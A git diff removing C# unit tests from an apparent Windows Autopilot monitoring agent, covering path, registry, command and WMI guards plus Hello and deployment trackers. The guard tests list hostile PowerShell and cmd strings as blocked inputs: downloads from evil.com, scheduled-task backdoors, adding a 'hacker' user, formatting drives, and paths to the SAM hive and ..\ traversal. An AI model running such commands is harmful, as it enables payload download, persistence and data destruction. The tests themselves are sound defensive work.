- Assert.True(DesktopArrivalDetector.IsExcludedUser(null));
- }
-
- [Fact]
- public void IsExcludedUser_Empty_True()
- {
- Assert.True(DesktopArrivalDetector.IsExcludedUser(""));
- }
-
- [Fact]
- public void IsExcludedUser_SystemCaseInsensitive()
- {
- Assert.True(DesktopArrivalDetector.IsExcludedUser("system"));
- Assert.True(DesktopArrivalDetector.IsExcludedUser("System"));
- Assert.True(DesktopArrivalDetector.IsExcludedUser("SYSTEM"));
- }
-
- [Fact]
- public void IsExcludedUser_BackslashAtEnd_ExtractsEmpty()
- {
- // Trailing backslash: "DOMAIN\" → empty username after split
- // Should be excluded (empty = fail-safe)
- // Note: LastIndexOf finds \, substring after is empty
- // But the code checks backslashIndex < fullUserName.Length - 1
- // so "DOMAIN\" with backslash at last position would keep the full string
- var result = DesktopArrivalDetector.IsExcludedUser(@"DOMAIN\");
- // The method keeps "DOMAIN\" as the full name since backslash is at last position
- // This won't match any excluded name, so it returns false (treated as unknown user)
- // This is acceptable — WMI won't return "DOMAIN\" for a real process
- Assert.False(result);
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DiagnosticsPathGuardsTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DiagnosticsPathGuardsTests.cs
deleted file mode 100644
index 571007b3..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DiagnosticsPathGuardsTests.cs
+++ /dev/null
@@ -1,130 +0,0 @@
-using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather;
-using Xunit;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Collectors
-{
- ///
- /// Tests path validation for diagnostics log collection.
- /// Prevents: path traversal, privacy leaks via C:\Users, SAM hive exfiltration.
- ///
- public class DiagnosticsPathGuardsTests
- {
- // -- Allowed paths --
-
- [Fact]
- public void IsDiagnosticsPathAllowed_AutopilotMonitorLogs_True()
- {
- var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
- @"C:\ProgramData\AutopilotMonitor\Logs\agent.log");
-
- Assert.True(result);
- }
-
- [Fact]
- public void IsDiagnosticsPathAllowed_ImeLogs_True()
- {
- var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
- @"C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension.log");
-
- Assert.True(result);
- }
-
- [Fact]
- public void IsDiagnosticsPathAllowed_WindowsPanther_True()
- {
- var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
- @"C:\Windows\Panther\setupact.log");
-
- Assert.True(result);
- }
-
- // -- Hard-blocked paths --
-
- [Fact]
- public void IsDiagnosticsPathAllowed_UsersDir_AlwaysBlocked()
- {
- // Must be blocked even in unrestricted mode (privacy protection)
- var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
- @"C:\Users\admin\Documents\secret.docx", unrestrictedMode: true);
-
- Assert.False(result);
- }
-
- [Fact]
- public void IsDiagnosticsPathAllowed_SystemConfig_Blocked()
- {
- // SAM, SECURITY, SYSTEM hives must always be blocked
- var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
- @"C:\Windows\System32\config\SAM", unrestrictedMode: true);
-
- Assert.False(result);
- }
-
- // -- Path traversal --
-
- [Fact]
- public void IsDiagnosticsPathAllowed_Traversal_Blocked()
- {
- // Traversal via ".." after allowed prefix must be caught by GetFullPath normalization
- var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
- @"C:\ProgramData\AutopilotMonitor\..\..\Users\admin\file.txt");
-
- Assert.False(result);
- }
-
- [Fact]
- public void IsDiagnosticsPathAllowed_EnvironmentVariable_Expanded()
- {
- // %ProgramData% should expand to C:\ProgramData
- var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
- @"%ProgramData%\AutopilotMonitor\Logs\agent.log");
-
- Assert.True(result);
- }
-
- // -- Edge cases --
-
- [Fact]
- public void IsDiagnosticsPathAllowed_WhitespaceOnly_Blocked()
- {
- Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(" "));
- }
-
- [Fact]
- public void IsDiagnosticsPathAllowed_NullOrEmpty_Blocked()
- {
- Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(null));
- Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(""));
- }
-
- [Fact]
- public void IsDiagnosticsPathAllowed_WildcardInFilename_Allowed()
- {
- // Wildcards in the last path segment should be supported
- var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
- @"C:\ProgramData\AutopilotMonitor\Logs\*.log");
-
- Assert.True(result);
- }
-
- [Fact]
- public void IsDiagnosticsPathAllowed_UnrestrictedMode_AllowsNonBlocked()
- {
- // In unrestricted mode, non-hard-blocked paths should be allowed
- var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
- @"C:\SomeRandomDir\logs\file.txt", unrestrictedMode: true);
-
- Assert.True(result);
- }
-
- [Fact]
- public void IsDiagnosticsPathAllowed_UnallowedDir_Blocked()
- {
- // Random directory not in allowlist should be blocked in normal mode
- var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
- @"C:\SomeRandomDir\logs\file.txt");
-
- Assert.False(result);
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/GatherRuleGuardsTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/GatherRuleGuardsTests.cs
deleted file mode 100644
index 57e03038..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/GatherRuleGuardsTests.cs
+++ /dev/null
@@ -1,203 +0,0 @@
-using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather;
-using Xunit;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Collectors
-{
- ///
- /// Tests security guards for remote gather rules.
- /// Prevents: path traversal, prefix spoofing, command injection, privacy leaks.
- /// Critical: segment-bounded matching ensures SOFTWARE\MicrosoftEvil doesn't match SOFTWARE\Microsoft.
- ///
- public class GatherRuleGuardsTests
- {
- // -- Registry path guards --
-
- [Fact]
- public void IsRegistryPathAllowed_KnownPrefix_True()
- {
- // SOFTWARE\Microsoft\Enrollments is a known allowed prefix from guardrails.json
- var result = GatherRuleGuards.IsRegistryPathAllowed(
- @"SOFTWARE\Microsoft\Enrollments\{some-guid}\FirstSync");
-
- Assert.True(result);
- }
-
- [Fact]
- public void IsRegistryPathAllowed_ExactPrefixMatch_True()
- {
- // Exact match on prefix (no trailing segment)
- var result = GatherRuleGuards.IsRegistryPathAllowed(@"SOFTWARE\Microsoft\Enrollments");
-
- Assert.True(result);
- }
-
- [Fact]
- public void IsRegistryPathAllowed_SegmentBounded_BlocksSpoofing()
- {
- // SOFTWARE\Microsoft\EnrollmentsEvil must NOT match SOFTWARE\Microsoft\Enrollments
- // because the character after "Enrollments" is 'E', not '\'
- var result = GatherRuleGuards.IsRegistryPathAllowed(@"SOFTWARE\Microsoft\EnrollmentsEvil\Backdoor");
-
- Assert.False(result);
- }
-
- [Fact]
- public void IsRegistryPathAllowed_UnrestrictedMode_AllAllowed()
- {
- var result = GatherRuleGuards.IsRegistryPathAllowed(
- @"SOME\RANDOM\PATH", unrestrictedMode: true);
-
- Assert.True(result);
- }
-
- [Fact]
- public void IsRegistryPathAllowed_EmptyPath_False()
- {
- Assert.False(GatherRuleGuards.IsRegistryPathAllowed(null));
- Assert.False(GatherRuleGuards.IsRegistryPathAllowed(""));
- }
-
- // -- File path guards --
-
- [Fact]
- public void IsFilePathAllowed_DirectoryTraversal_Blocked()
- {
- // Path normalization via GetFullPath should catch ".." traversal
- var result = GatherRuleGuards.IsFilePathAllowed(
- @"C:\ProgramData\Microsoft\IntuneManagementExtension\..\..\..\..\Users\admin\secrets.txt");
-
- Assert.False(result);
- }
-
- [Fact]
- public void IsFilePathAllowed_UsersDir_AlwaysBlocked()
- {
- // C:\Users must be blocked even in unrestricted mode (privacy protection)
- var result = GatherRuleGuards.IsFilePathAllowed(
- @"C:\Users\admin\Documents\file.txt", unrestrictedMode: true);
-
- Assert.False(result);
- }
-
- [Fact]
- public void IsFilePathAllowed_SystemConfig_AlwaysBlocked()
- {
- // SAM/SECURITY hives must always be blocked
- var result = GatherRuleGuards.IsFilePathAllowed(
- @"C:\Windows\System32\config\SAM", unrestrictedMode: true);
-
- Assert.False(result);
- }
-
- [Fact]
- public void IsFilePathAllowed_EmptyPath_False()
- {
- Assert.False(GatherRuleGuards.IsFilePathAllowed(null));
- Assert.False(GatherRuleGuards.IsFilePathAllowed(""));
- }
-
- // -- Command guards --
-
- [Fact]
- public void IsCommandAllowed_HardBlocked_EvenUnrestricted()
- {
- // Download commands must be blocked regardless of unrestricted mode
- Assert.False(GatherRuleGuards.IsCommandAllowed(
- "Invoke-WebRequest http://evil.com/payload.exe", unrestrictedMode: true));
-
- Assert.False(GatherRuleGuards.IsCommandAllowed(
- "Invoke-RestMethod http://evil.com/api", unrestrictedMode: true));
-
- Assert.False(GatherRuleGuards.IsCommandAllowed(
- "certutil -urlcache -split -f http://evil.com/payload.exe", unrestrictedMode: true));
- }
-
- [Fact]
- public void IsCommandAllowed_PersistenceMechanisms_Blocked()
- {
- Assert.False(GatherRuleGuards.IsCommandAllowed(
- "schtasks /create /tn backdoor /tr evil.exe", unrestrictedMode: true));
-
- Assert.False(GatherRuleGuards.IsCommandAllowed(
- "Register-ScheduledTask -TaskName backdoor", unrestrictedMode: true));
- }
-
- [Fact]
- public void IsCommandAllowed_UserManipulation_Blocked()
- {
- Assert.False(GatherRuleGuards.IsCommandAllowed(
- "New-LocalUser -Name hacker -NoPassword", unrestrictedMode: true));
-
- Assert.False(GatherRuleGuards.IsCommandAllowed(
- "net user hacker password123 /add", unrestrictedMode: true));
- }
-
- [Fact]
- public void IsCommandAllowed_MaxLength_Blocked()
- {
- var longCommand = new string('A', 2001);
-
- Assert.False(GatherRuleGuards.IsCommandAllowed(longCommand, unrestrictedMode: true));
- }
-
- [Fact]
- public void IsCommandAllowed_ExactMaxLength_Allowed()
- {
- // Exactly 2000 chars should pass the length check (blocked by allowlist, but not by length)
- var exactCommand = new string('A', 2000);
-
- // Won't be in allowlist, but should NOT be blocked by length guard
- // In unrestricted mode, should be allowed (passes both length and hard-block checks)
- Assert.True(GatherRuleGuards.IsCommandAllowed(exactCommand, unrestrictedMode: true));
- }
-
- [Fact]
- public void IsCommandAllowed_EmptyCommand_False()
- {
- Assert.False(GatherRuleGuards.IsCommandAllowed(null));
- Assert.False(GatherRuleGuards.IsCommandAllowed(""));
- }
-
- [Fact]
- public void IsCommandAllowed_DestructiveOps_Blocked()
- {
- Assert.False(GatherRuleGuards.IsCommandAllowed(
- "Remove-Item -Recurse C:\\ImportantData", unrestrictedMode: true));
-
- Assert.False(GatherRuleGuards.IsCommandAllowed(
- "Format-Volume -DriveLetter C", unrestrictedMode: true));
- }
-
- // -- WMI query guards --
-
- [Fact]
- public void IsWmiQueryAllowed_WhitespaceBoundary()
- {
- // "Win32_OperatingSystemXXX" must NOT match "SELECT * FROM Win32_OperatingSystem"
- // because after the class name there must be whitespace or end of string
- var allowed = GatherRuleGuards.IsWmiQueryAllowed("SELECT * FROM Win32_OperatingSystem");
- var spoofed = GatherRuleGuards.IsWmiQueryAllowed("SELECT * FROM Win32_OperatingSystemXXX");
-
- // The allowed query should be allowed if it's in the guardrails
- // The spoofed query must NOT be allowed (boundary check)
- if (allowed) // Only test spoofing if the base query is allowed
- Assert.False(spoofed);
- }
-
- [Fact]
- public void IsWmiQueryAllowed_UnrestrictedMode_AllAllowed()
- {
- var result = GatherRuleGuards.IsWmiQueryAllowed(
- "SELECT * FROM SomeRandomClass", unrestrictedMode: true);
-
- Assert.True(result);
- }
-
- [Fact]
- public void IsWmiQueryAllowed_EmptyQuery_False()
- {
- Assert.False(GatherRuleGuards.IsWmiQueryAllowed(null));
- Assert.False(GatherRuleGuards.IsWmiQueryAllowed(""));
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/HelloTrackerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/HelloTrackerTests.cs
deleted file mode 100644
index 14b178a1..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/HelloTrackerTests.cs
+++ /dev/null
@@ -1,448 +0,0 @@
-using System;
-using System.Collections.Concurrent;
-using System.Collections.Generic;
-using System.Linq;
-using AutopilotMonitor.Agent.Core.Tests.Helpers;
-using AutopilotMonitor.Shared.Models;
-using Xunit;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Collectors
-{
- ///
- /// Tests for . Drives event processing via the internal
- /// ProcessHelloEvent / ProcessHelloForBusinessEvent seams (EventLogWatcher is Windows-only
- /// and not mocked) and timers via TriggerWait/CompletionTimeoutForTest to stay deterministic.
- ///
- public sealed class HelloTrackerTests
- {
- private readonly ConcurrentBag _captured = new ConcurrentBag();
- private int _helloCompletedInvocations;
-
- private HelloTracker CreateTracker(int helloWaitTimeoutSeconds = 30)
- {
- var tracker = new HelloTracker(
- sessionId: "sess-1",
- tenantId: "tenant-1",
- onEventCollected: e => _captured.Add(e),
- logger: TestLogger.Instance,
- helloWaitTimeoutSeconds: helloWaitTimeoutSeconds);
- tracker.HelloCompleted += (_, __) => System.Threading.Interlocked.Increment(ref _helloCompletedInvocations);
- return tracker;
- }
-
- private List Captured => _captured.ToList();
- private EnrollmentEvent Last(string eventType) => Captured.LastOrDefault(e => e.EventType == eventType);
-
- // =====================================================================
- // UDR terminal events (300 / 301 / 362)
- // =====================================================================
-
- [Fact]
- public void ProcessHelloEvent_300_MarksCompletedAndFiresEvent()
- {
- var t = CreateTracker();
-
- t.ProcessHelloEvent(300, DateTime.UtcNow, "WinHelloForBusinessCsp", isBackfill: false);
-
- Assert.True(t.IsHelloCompleted);
- Assert.Equal("completed", t.HelloOutcome);
- Assert.Equal(1, _helloCompletedInvocations);
- var evt = Last("hello_provisioning_completed");
- Assert.NotNull(evt);
- Assert.Equal(EventSeverity.Info, evt.Severity);
- Assert.True(evt.ImmediateUpload);
- }
-
- [Fact]
- public void ProcessHelloEvent_301_MarksCompletedWithFailedEventType()
- {
- var t = CreateTracker();
-
- t.ProcessHelloEvent(301, DateTime.UtcNow, "WinHelloForBusinessCsp", isBackfill: false);
-
- Assert.True(t.IsHelloCompleted);
- Assert.Equal("completed", t.HelloOutcome);
- Assert.Equal(1, _helloCompletedInvocations);
- var evt = Last("hello_provisioning_failed");
- Assert.NotNull(evt);
- Assert.Equal(EventSeverity.Error, evt.Severity);
- Assert.True(evt.ImmediateUpload);
- }
-
- [Fact]
- public void ProcessHelloEvent_362_MarksCompletedAsBlocked()
- {
- var t = CreateTracker();
-
- t.ProcessHelloEvent(362, DateTime.UtcNow, "prov", false);
-
- Assert.True(t.IsHelloCompleted);
- Assert.Equal(1, _helloCompletedInvocations);
- var evt = Last("hello_provisioning_blocked");
- Assert.NotNull(evt);
- Assert.Equal(EventSeverity.Warning, evt.Severity);
- }
-
- [Fact]
- public void ProcessHelloEvent_360_IsSnapshotOnly_DoesNotMarkCompleted()
- {
- var t = CreateTracker();
-
- t.ProcessHelloEvent(360, DateTime.UtcNow, "prov", false);
-
- Assert.False(t.IsHelloCompleted);
- Assert.Null(t.HelloOutcome);
- Assert.Equal(0, _helloCompletedInvocations);
- Assert.NotNull(Last("hello_provisioning_willnotlaunch"));
- }
-
- [Fact]
- public void ProcessHelloEvent_358_EmitsWillLaunch_NoCompletion()
- {
- var t = CreateTracker();
-
- t.ProcessHelloEvent(358, DateTime.UtcNow, "prov", false);
-
- Assert.False(t.IsHelloCompleted);
- Assert.Equal(0, _helloCompletedInvocations);
- Assert.NotNull(Last("hello_provisioning_willlaunch"));
- }
-
- [Fact]
- public void ProcessHelloEvent_DuplicateTerminal_DoesNotRefireHelloCompleted()
- {
- var t = CreateTracker();
-
- t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
- t.ProcessHelloEvent(301, DateTime.UtcNow.AddSeconds(1), "prov", false);
-
- Assert.Equal(1, _helloCompletedInvocations); // second call sees _isHelloCompleted=true
- }
-
- [Fact]
- public void ProcessHelloEvent_BackfillFlag_AddedToData()
- {
- var t = CreateTracker();
-
- t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", isBackfill: true);
-
- var evt = Last("hello_provisioning_completed");
- Assert.True(evt.Data.ContainsKey("backfill"));
- Assert.Equal(true, evt.Data["backfill"]);
- }
-
- // =====================================================================
- // HelloForBusiness events (3024 / 6045)
- // =====================================================================
-
- [Fact]
- public void ProcessHelloForBusinessEvent_3024_EmitsProcessingStarted_NoCompletion()
- {
- var t = CreateTracker();
-
- t.ProcessHelloForBusinessEvent(3024, DateTime.UtcNow, "Hello processing started", "provider", false);
-
- Assert.False(t.IsHelloCompleted);
- Assert.Equal(0, _helloCompletedInvocations);
- Assert.NotNull(Last("hello_processing_started"));
- }
-
- [Fact]
- public void ProcessHelloForBusinessEvent_6045_WithUserSkipHResult_MarksSkipped()
- {
- var t = CreateTracker();
-
- t.ProcessHelloForBusinessEvent(
- 6045, DateTime.UtcNow,
- "User cancelled Hello for Business: HRESULT 0x801C044F",
- "provider", false);
-
- Assert.True(t.IsHelloCompleted);
- Assert.Equal("skipped", t.HelloOutcome);
- Assert.Equal(1, _helloCompletedInvocations);
- var evt = Last("hello_skipped");
- Assert.NotNull(evt);
- Assert.Equal(EventSeverity.Warning, evt.Severity);
- Assert.Equal("0x801C044F", evt.Data["hresult"]);
- }
-
- [Fact]
- public void ProcessHelloForBusinessEvent_6045_WithOtherHResult_DoesNotMarkCompleted()
- {
- var t = CreateTracker();
-
- t.ProcessHelloForBusinessEvent(
- 6045, DateTime.UtcNow,
- "Hello processing stopped: HRESULT 0x80070005",
- "provider", false);
-
- Assert.False(t.IsHelloCompleted);
- Assert.Equal(0, _helloCompletedInvocations);
- Assert.NotNull(Last("hello_processing_stopped"));
- }
-
- [Fact]
- public void ExtractHResultFromDescription_MatchesValidHex()
- {
- Assert.Equal("0x801C044F",
- HelloTracker.ExtractHResultFromDescription("something HRESULT 0x801C044F tail"));
- Assert.Null(HelloTracker.ExtractHResultFromDescription("no hresult here"));
- Assert.Null(HelloTracker.ExtractHResultFromDescription(null));
- Assert.Null(HelloTracker.ExtractHResultFromDescription(""));
- }
-
- // =====================================================================
- // Wait timer — policy-enabled path (extend to completion timer)
- // =====================================================================
-
- [Fact]
- public void WaitTimeout_WithPolicyEnabled_EmitsExtendedWaitAndArmsCompletionTimer()
- {
- var t = CreateTracker();
- t.SetPolicyForTest(helloEnabled: true, source: "GPO");
- t.StartHelloWaitTimer();
-
- t.TriggerWaitTimeoutForTest();
-
- Assert.False(t.IsHelloCompleted);
- Assert.Equal(0, _helloCompletedInvocations);
- Assert.True(t.IsCompletionTimerActiveForTest);
- var evt = Last("hello_wait_timeout");
- Assert.NotNull(evt);
- Assert.Equal("extended_wait", evt.Data["action"]);
- Assert.Equal(true, evt.Data["helloPolicyEnabled"]);
- }
-
- // =====================================================================
- // Wait timer — policy-disabled path (immediate completion)
- // =====================================================================
-
- [Fact]
- public void WaitTimeout_WithoutPolicyConfigured_MarksNotConfiguredAndFiresCompleted()
- {
- var t = CreateTracker();
- t.StartHelloWaitTimer();
-
- t.TriggerWaitTimeoutForTest();
-
- Assert.True(t.IsHelloCompleted);
- Assert.Equal("not_configured", t.HelloOutcome);
- Assert.Equal(1, _helloCompletedInvocations);
- var evt = Last("hello_wait_timeout");
- Assert.NotNull(evt);
- Assert.Equal("enrollment_complete", evt.Data["action"]);
- }
-
- [Fact]
- public void WaitTimeout_WithPolicyDetectedAsDisabled_MarksNotConfigured()
- {
- var t = CreateTracker();
- t.SetPolicyForTest(helloEnabled: false, source: "GPO");
- t.StartHelloWaitTimer();
-
- t.TriggerWaitTimeoutForTest();
-
- Assert.True(t.IsHelloCompleted);
- Assert.Equal("not_configured", t.HelloOutcome);
- Assert.Equal(1, _helloCompletedInvocations);
- }
-
- [Fact]
- public void WaitTimeout_AfterWizardStarted_IsIgnored()
- {
- var t = CreateTracker();
- t.NotifyHelloWizardStarted();
-
- t.TriggerWaitTimeoutForTest();
-
- Assert.False(t.IsHelloCompleted);
- Assert.Equal(0, _helloCompletedInvocations);
- }
-
- [Fact]
- public void WaitTimeout_AfterHelloAlreadyCompleted_IsIgnored()
- {
- var t = CreateTracker();
- t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
- var initialCount = _helloCompletedInvocations;
-
- t.TriggerWaitTimeoutForTest();
-
- Assert.Equal(initialCount, _helloCompletedInvocations);
- }
-
- // =====================================================================
- // Completion timer
- // =====================================================================
-
- [Fact]
- public void CompletionTimeout_AfterWizardStart_MarksTimeout()
- {
- var t = CreateTracker();
- t.NotifyHelloWizardStarted();
-
- t.TriggerCompletionTimeoutForTest();
-
- Assert.True(t.IsHelloCompleted);
- Assert.Equal("timeout", t.HelloOutcome);
- Assert.Equal(1, _helloCompletedInvocations);
- Assert.NotNull(Last("hello_completion_timeout"));
- }
-
- [Fact]
- public void CompletionTimeout_WithoutWizardStart_MarksWizardNotStarted()
- {
- var t = CreateTracker();
-
- t.TriggerCompletionTimeoutForTest();
-
- Assert.True(t.IsHelloCompleted);
- Assert.Equal("wizard_not_started", t.HelloOutcome);
- }
-
- // =====================================================================
- // Cross-boundary notifications
- // =====================================================================
-
- [Fact]
- public void NotifyHelloWizardStarted_StopsWaitTimer_StartsCompletionTimer()
- {
- var t = CreateTracker();
- t.StartHelloWaitTimer();
- Assert.True(t.IsWaitTimerActiveForTest);
-
- t.NotifyHelloWizardStarted();
-
- Assert.False(t.IsWaitTimerActiveForTest);
- Assert.True(t.IsCompletionTimerActiveForTest);
- Assert.True(t.IsHelloWizardStartedForTest);
- }
-
- [Fact]
- public void NotifyHelloWizardStarted_Idempotent()
- {
- var t = CreateTracker();
-
- t.NotifyHelloWizardStarted();
- t.NotifyHelloWizardStarted();
-
- Assert.True(t.IsHelloWizardStartedForTest);
- }
-
- [Fact]
- public void NotifyEspExited_PopulatedIntoWaitTimeoutDataField()
- {
- var t = CreateTracker();
- t.NotifyEspExited();
- t.StartHelloWaitTimer();
-
- t.TriggerWaitTimeoutForTest();
-
- var evt = Last("hello_wait_timeout");
- Assert.Equal(true, evt.Data["espExitDetected"]);
- }
-
- // =====================================================================
- // External coordination API
- // =====================================================================
-
- [Fact]
- public void ForceMarkHelloCompleted_SetsOutcome_DoesNotFireEvent()
- {
- var t = CreateTracker();
-
- t.ForceMarkHelloCompleted("device_only_timeout");
-
- Assert.True(t.IsHelloCompleted);
- Assert.Equal("device_only_timeout", t.HelloOutcome);
- Assert.Equal(0, _helloCompletedInvocations); // Force does NOT invoke callback
- }
-
- [Fact]
- public void ForceMarkHelloCompleted_WhenAlreadyCompleted_IsNoOp()
- {
- var t = CreateTracker();
- t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
- var initialOutcome = t.HelloOutcome;
-
- t.ForceMarkHelloCompleted("override_attempt");
-
- Assert.Equal(initialOutcome, t.HelloOutcome); // No override once terminal
- }
-
- [Fact]
- public void ResetForEspResumption_ClearsAllHelloStateAndOutcome()
- {
- var t = CreateTracker();
- t.NotifyHelloWizardStarted();
- t.NotifyEspExited();
- t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
- Assert.True(t.IsHelloCompleted);
-
- t.ResetForEspResumption();
-
- Assert.False(t.IsHelloCompleted);
- Assert.Null(t.HelloOutcome);
- Assert.False(t.IsHelloWizardStartedForTest);
- Assert.False(t.IsWaitTimerActiveForTest);
- Assert.False(t.IsCompletionTimerActiveForTest);
- }
-
- [Fact]
- public void StartHelloWaitTimer_WhenAlreadyCompleted_IsNoOp()
- {
- var t = CreateTracker();
- t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false);
-
- t.StartHelloWaitTimer();
-
- Assert.False(t.IsWaitTimerActiveForTest);
- }
-
- [Fact]
- public void StartHelloWaitTimer_WhenWizardAlreadyStarted_IsNoOp()
- {
- var t = CreateTracker();
- t.NotifyHelloWizardStarted();
-
- t.StartHelloWaitTimer();
-
- Assert.False(t.IsWaitTimerActiveForTest);
- }
-
- [Fact]
- public void StartHelloWaitTimer_CalledTwice_DoesNotStartSecondTimer()
- {
- var t = CreateTracker();
- t.StartHelloWaitTimer();
- Assert.True(t.IsWaitTimerActiveForTest);
-
- t.StartHelloWaitTimer(); // no-op
-
- Assert.True(t.IsWaitTimerActiveForTest);
- }
-
- // =====================================================================
- // Policy detection emission
- // =====================================================================
-
- [Fact]
- public void SetPolicyForTest_Enabled_EmitsPolicyDetectedEvent()
- {
- var t = CreateTracker();
-
- t.SetPolicyForTest(helloEnabled: true, source: "CSP/Intune (device-scoped)");
-
- Assert.True(t.IsPolicyConfigured);
- var evt = Last("hello_policy_detected");
- Assert.NotNull(evt);
- Assert.Equal(true, evt.Data["helloEnabled"]);
- Assert.Equal("CSP/Intune (device-scoped)", evt.Data["policySource"]);
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ModernDeploymentTrackerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ModernDeploymentTrackerTests.cs
deleted file mode 100644
index 21818ed7..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ModernDeploymentTrackerTests.cs
+++ /dev/null
@@ -1,415 +0,0 @@
-using System;
-using System.Collections.Concurrent;
-using System.Collections.Generic;
-using System.IO;
-using AutopilotMonitor.Agent.Core.Tests.Helpers;
-using AutopilotMonitor.Shared;
-using AutopilotMonitor.Shared.Models;
-using Newtonsoft.Json;
-using Xunit;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Collectors
-{
- ///
- /// Tests for . Drives the ProcessEvent pipeline via
- /// primitive inputs (EventRecord is abstract and Windows-only, so tests don't synthesise it).
- /// Covers: level → event-type mapping, harmless-warning downgrade, WhiteGlove fire-once,
- /// WhiteGlove keyword guard, cross-restart dedup via persisted state.
- ///
- public sealed class ModernDeploymentTrackerTests : IDisposable
- {
- private readonly string _tempDir;
- private readonly ConcurrentBag _captured;
-
- public ModernDeploymentTrackerTests()
- {
- _tempDir = Path.Combine(Path.GetTempPath(), "mdt-test-" + Guid.NewGuid().ToString("N"));
- Directory.CreateDirectory(_tempDir);
- _captured = new ConcurrentBag();
- }
-
- public void Dispose()
- {
- try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
- catch { /* best-effort */ }
- }
-
- private ModernDeploymentTracker CreateTracker(string stateDirectory = null, int[] harmlessEventIds = null)
- {
- return new ModernDeploymentTracker(
- sessionId: "sess-1",
- tenantId: "tenant-1",
- onEventCollected: e => _captured.Add(e),
- logger: TestLogger.Instance,
- logLevelMax: 3,
- backfillEnabled: true,
- backfillLookbackMinutes: 30,
- stateDirectory: stateDirectory,
- harmlessEventIds: harmlessEventIds);
- }
-
- private List GetCaptured() => new List(_captured);
-
- // ========== Level → EventType mapping ==========
-
- [Fact]
- public void ProcessEvent_Level1_MappedToError()
- {
- var tracker = CreateTracker();
-
- tracker.ProcessEvent(
- eventId: 42, level: 1, levelDisplayName: "Critical", providerName: "prov",
- timeCreatedUtc: DateTime.UtcNow, formattedDescription: "Boom",
- shortName: "Autopilot", channelName: ModernDeploymentTracker.AutopilotChannel,
- isBackfill: false);
-
- var evt = Assert.Single(GetCaptured());
- Assert.Equal(Constants.EventTypes.ModernDeploymentError, evt.EventType);
- Assert.Equal(EventSeverity.Error, evt.Severity);
- Assert.Equal("ModernDeploymentWatcher", evt.Source);
- Assert.Equal(EnrollmentPhase.Unknown, evt.Phase);
- }
-
- [Fact]
- public void ProcessEvent_Level2_MappedToError()
- {
- var tracker = CreateTracker();
-
- tracker.ProcessEvent(42, 2, "Error", "prov", DateTime.UtcNow, "msg",
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
-
- Assert.Equal(Constants.EventTypes.ModernDeploymentError, Assert.Single(GetCaptured()).EventType);
- }
-
- [Fact]
- public void ProcessEvent_Level3_MappedToWarning()
- {
- var tracker = CreateTracker();
-
- tracker.ProcessEvent(42, 3, "Warning", "prov", DateTime.UtcNow, "msg",
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
-
- var evt = Assert.Single(GetCaptured());
- Assert.Equal(Constants.EventTypes.ModernDeploymentWarning, evt.EventType);
- Assert.Equal(EventSeverity.Warning, evt.Severity);
- }
-
- [Fact]
- public void ProcessEvent_Level4_MappedToInfoLog()
- {
- var tracker = CreateTracker();
-
- tracker.ProcessEvent(42, 4, "Information", "prov", DateTime.UtcNow, "msg",
- "Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
-
- var evt = Assert.Single(GetCaptured());
- Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
- Assert.Equal(EventSeverity.Info, evt.Severity);
- }
-
- [Fact]
- public void ProcessEvent_NullLevel_DefaultsToInfoLog()
- {
- var tracker = CreateTracker();
-
